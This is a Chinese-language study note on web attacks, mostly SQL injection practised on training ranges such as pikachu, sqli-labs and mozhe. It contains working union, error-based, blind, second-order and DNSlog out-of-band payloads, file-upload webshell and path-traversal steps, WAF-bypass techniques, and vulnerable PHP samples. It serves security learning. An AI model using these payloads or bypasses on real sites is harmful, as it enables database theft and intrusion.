SQL注入
一、Web漏洞基础
1、CTF,SRC,红蓝对抗,实战
1)漏洞危害情况
- 获取网站的数据库的权限(数据),后台账号和密码 --> SQL注入
- 直接获取网站权限 --> 文件上传
2)漏洞等级划分
- 高危:文件上传、SQL注入、代码执行、文件包含、未授权访问
- 中危:逻辑安全、目录遍历
- 低危:信息泄露 --> 源码、部分账号密码
3)漏洞重点内容
- CTF:SQL注入、反序列化、代码执行
- SRC:以上都有,逻辑安全 --> 0元购买
- 红蓝对抗:高危漏洞 --> 权限
4)漏洞形势问题
SQL注入网上没有;信息收集少;知识点不够;网站上确实没有此漏洞
2、SQL 注入漏洞
pikachu靶场:https://github.com/zhuifengshaonianhanlu/pikachu
phpstudy:https://www.xp.cn/
id=1 and 1=1 union select username,password from users
if(isset($_POST['submit']) && $_POST['id']!=null){
//这里没有做任何处理,直接拼到select里面去了,形成Sql注入
$id=$_POST['id'];
$query="select username,email from member where id=$id";
$result=execute($link, $query);
//这里如果用==1,会严格一点
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$username=$data['username'];
$email=$data['email'];
$html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
}
}
3、目录遍历漏洞
需要源码白盒测试,了解网站目录
通过相对路径../
访问父目录的文件
http://localhost:2560/pikachu/vul/dir/dir_list.php?title=../../../../index.php
文件路径的获取
- 扫描工具(御剑)获取
- 首页的源代码获取
- 找相应cms
4、文件上传漏洞
- 上传PHP文件:上传失败,只能是图片格式
- 将文件改为JPG格式上传:上传成功
- 通过路径提示访问文件的地址:访问失败
- 抓包修改,将ipg的数据包x.jpg改为x.php格式,发送
- 再次访问图片的地址:执行PHP脚本(也可以用菜刀留后门)
5、文件下载漏洞
通过改变浏览器路径来下载之前的dir.php文件
http://localhost:2560/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php
下载拿到数据库配置文件
二、数据库类型
1、MySQL
墨者靶场-MySQL:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
1)检测注入点
2)拆解列名数量(字段数)
order by 猜测数据表的id值的多少
id=1 order by 4
3)报错拆解
id=-1 union select 1,2,3,4
4)信息收集
数据库版本:version()
数据库名称:database()
数据库用户:user()
操作系统:@@version_compile_os
数据库版本:5.7.22-0ubuntu0.16.04.1
数据库名称:mozhe_Discuz_StormGroup
5)获取数据
在MySQL5.0以上的版本中,MySQL存在一个自带数据库名为:information_schema
,它是一个存储有所有数据库名、表名、列名的数据库,也相当于可以通过查询他获取指定数据库下面的表面和列表信息。
数据库中符号“.”代表下一级,如xiaodi.user,表示xiaodi数据库下面的uesr表名。
- information_schema.tables:记录所有表名信息的表
- information_schema.columns:记录所有列名信息的表
- table_schema:数据库名
- table_name:表名
- column_name:列名
id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
默认显示一个表,可以利用
group_concat(table_name)
显示出所以的表
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
id=-1 union select 1,name,password,4 from StormGroup_member
6)解密拿Key
356f589a7df439f6f744ff19bb8092c0 --> dsan13
可能还存在其他账号,利用group_concat()再次查询
id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
32befa923d8b8e2e311fab16425e4f85 --> 301758
mozhe9bc92a5befb8ffc4c8327f0af8b
2、Access
Access: 表名/列名/数据---只能暴力猜解,数据库互不相干
MySQL等:数据库名/表名/列名/数据---高版本查看索引表
墨者靶场-Access:https://www.mozhe.cn/bug/Rm5aSU1PNjhHWTA3N1FFUk8vbXZKUT09bW96aGUmozhe
1)sqlmap查询数据库类型
python sqlmap.py -u "http://219.153.49.228:44165/new_list.asp?id=1"
2)检测是否可以注入
and 1 = 1
:正常
and 1 = 2
:空白
3)猜解id的个数
4)检测注入点
Access无法检测,只能暴力猜解表名、列名、数据
猜解存在admin表,猜解admin表存在username列名和passwd列名
access注入猜解表名、列名失败:SQLmap字典
5)拿到key
MD5解密
登录后台
mozhe56ed60816ee2fe84a89b48e475c
3、Sql Server
利用软件:穿山甲pangolin扫描工具
墨者靶场-Sql Server:https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
1)扫描
2)获取数据
3)md5解密
4)登录拿Key
mozheb054e7502e3d9461424830c9f0f
4、PostgreSQL
1)order by 猜解
2)注入点查询
注意加引号
3)爆库
union select '1',(select current_database()),'3','4'
爆库原理
4)爆表/列名
union select '1',relname,'3','4' from pg_stat_user_tables limit 1 offset 1
union select'1',column_name,'3','4' from information_schema.columns where table_name='reg_users' limit 1 offset 1-4---分别id、name、password
5)爆数据
union select null,name||'::'||password,null,null from public.reg_users
三、参数类型与提交注入
1、明确参数类型
数字:id=1为数字型,int、float、double
字符:字符串必须要加上'
/* 注入语句 */
?x=xiaodi and 1=1
/* 数据库查询语句 --> 注入失效 */
select * from user where name='xiaodi and 1=1';
/* 正确注入方式 */
?x=xiaodi' and 1='1
select * from user where name='xiaodi' and 1='1';
sql搜索
select * from user where name like '%xiaodi%';
JSON:键值对
2、字符型注入
sqlilabs_Less-5
1)测试注入点
发现1=2
并没有报错
2)字符注入
3)猜解id个数
4)注入查询
联合查询 --> 无回显
利用报错注入
sql?id=' or (select 1 from(select count(*),concat ((select (select (select concat(0x7e,user(), 0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit
3、提交注入
sqlilabs_Less-11
POST注入利用抓包工具
关于注释符号的使用
GET:
#
、--+
POST:
#
、--(空格)
url编码中+会变成空格
四、报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面(因为像insert、delete等查询语句即使执行成功,也不会回显。此外,网站的前端页面显示也会限制)。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
1、报错回显
0x7e为~(特殊字符),注入一般为注入工具通过正则表达式查找结果
Pikachu-insert注入
1)floor
username=' or (select 1 from(select count(*),concat ((select (select (select concat(0x7e,user(), 0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit
2)updatexml
username=' or updatexml (1, concat (0x7e, (version ())), 0) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit
3)extractvalue
username=' or extractvalue(1,concat(0x7e, database())) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit
2、延时盲注
select * from member where id=1 and sleep(if(database()= 'a', 5,0));
成立延迟5s、不成立延迟0s --> 不需要回显
先获取数据库的长度(len),再猜解第一位,第二位,以此类推...(巨麻烦)
ascii码方便脚本遍历
mid (a, b, c) #从位置b开始,截取a字符串的c位
substr(a, b, c) #从b位置开始,截取字符串a的c长度
left(database(),1), database() #1eft(a.b)从左侧截取a的前b位
length(database())=8 #判断数据库database名的长度
ascii(x)=97 #判断x的ascii码是否等于97
延迟受到网络速度的局限,并不准确
3、布尔盲注
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
特点:虽然$row
无回显,但是$row
进行了布尔判断
/Less-5/?id=1' and length(database())>8--+
/Less-5/?id=1' and left(database(),1)=’se’--+
五、注入拓展
1、加解密注入
若参数加密,注入代码也要相应加密
<?php
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);
?>
可以通过SalMap间接注入:利用file_get_contents
函数
<?php
$url='http://rexhao.work?id=';
$payload=base64_encode($_GET['x']);
$urls=$url.$payload;
echo $urls;
echo file_get_contents($urls);
?>
使用sqlmap跑本地php文件,间接注入原网站
2、二次注入
应用场景:存在网站源码、代码审计
靶场:sqlilabs-less24
注册用户:admin'##
二次注入:修改密码为123456
结果:admin的密码被改成123456
## SQL代码
UPDATE users SET PASSWORD='$new' where username='$un' and password='$old'
## 二次注入
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='admin'
将用户名改成报错注入的代码
长度限制
前端(写在html中的):
<input maxlength="2048" >
--> 修改Maxlength后端:无法突破
3、dnslog带外注入
1)手工注入
前提:需要文件读取 --> 需要高权限
将盲注的结果通过dns解析的方式发送到平台,以显示结果
利用ceye平台:http://ceye.io/
select * from USER where id=1 and if((select load_file(concat('\\\\',(select version()),'.vhta15.ceye.io\test'))),1,0);
2)DnslogIng
Python2运行(上不去...摆烂了!)
下载:https://github.com/AD000/DnslogSqlinj
原理:工具生成dnslog代码
4、堆叠注入
堆叠注入:从名词的含义就可以看到应该是一堆sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加;
表示语句结束。
堆叠注入的用法:
注入需要管理员的账号密码,密码是加密的,无法解密
堆叠注入在用户表中插入数据,用户密码自定义可以无需解密实施登录
六、waf绕过注入
1、常用waf
- 阿里云盾:阿里云服务器自带的防护软件
- 宝塔面板:很多小型网站都利用宝塔搭建
- 网站安全狗:免费
2、更换提交方式
采用post提交注入,网页可以显示,但是显示不正常:网站只能采用get方式接受,所以post的传参没有成功
POST提交应该用#
注释
3、数据变异
有些语句,添加的某些特殊符号,并没有影响语句的执行效果。在waf绕过中,检测这些特殊符号干扰了检测机制(正则),从而绕过检测。
1)大小写/关键字替换
id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
and=&
or=|
2)注释使用
//
--
--+
#
/**/
:%00
/!**/
/Less-2/?id=-1 union%23a%0Aselect 1,2,3;%23
%23 --> 换行
%0A --> #
a --> 阻止安全狗匹配
union a select
不会被安全狗屏蔽掉,但是多了a,需要用#a将a注释,然后换行,语句直接执行 union select 1,2,3#;
但是2021新版本安全狗也拦截了...
/*! select version(); */
:代码也可以运行
3)再次循环
union --> uunionnion
4)特殊符号
4、参数污染
具体服务端处理方式如下:
Web服务器 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | Last |
JSP/Tomcat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
Python/Apache | Getvalue(“par”) | All(List) |
ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
id=1/**&id=-1%20union%20select%201,2,3%23*/
安全狗匹配的和Apache接收的参数不同
5、fuzz(模糊/暴力测试)
对%0A进行猜解循环,如%0A;%0B; %0C; %0D; %0E等等,生成多种可能性,使得数据包的发送没有拦截软件,那条语句代码被认为绕过注入。
6、白名单
1)IP 白名单
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情况。
测试方法:修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
2)静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的
.aspx/.php
后面基本不识别
3)url 白名单
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。
只要 url中存在白名单的字符串,就作为白名单不进行检测
4)爬虫白名单
伪造成百度,搜狐,谷歌的爬虫进行访问,速度很快,可以通过Python脚本伪装成百度的爬虫
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
安全狗的ip白名单里的爬虫白名单里面有百度爬虫
7、SqlMap绕过
1)自定义tamper文件
python sqlmap.py -u "http://xxx" -tamper=safedog.py
2)代理服务器
python sqlmap.py -u "http://xxx" --proxy"=http://127.0.0.1:8080"
3)修改ua头
指定ua头
python sqlmap.py -u "http://xxx" --random-agent --user-agent="Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)"
随机ua头
python sqlmap.py -u "http://xxx" --random-agent
4)修改不支持修改的参数
- 中转脚本
- 将注入语句写入txt文件中,然后进行按行读取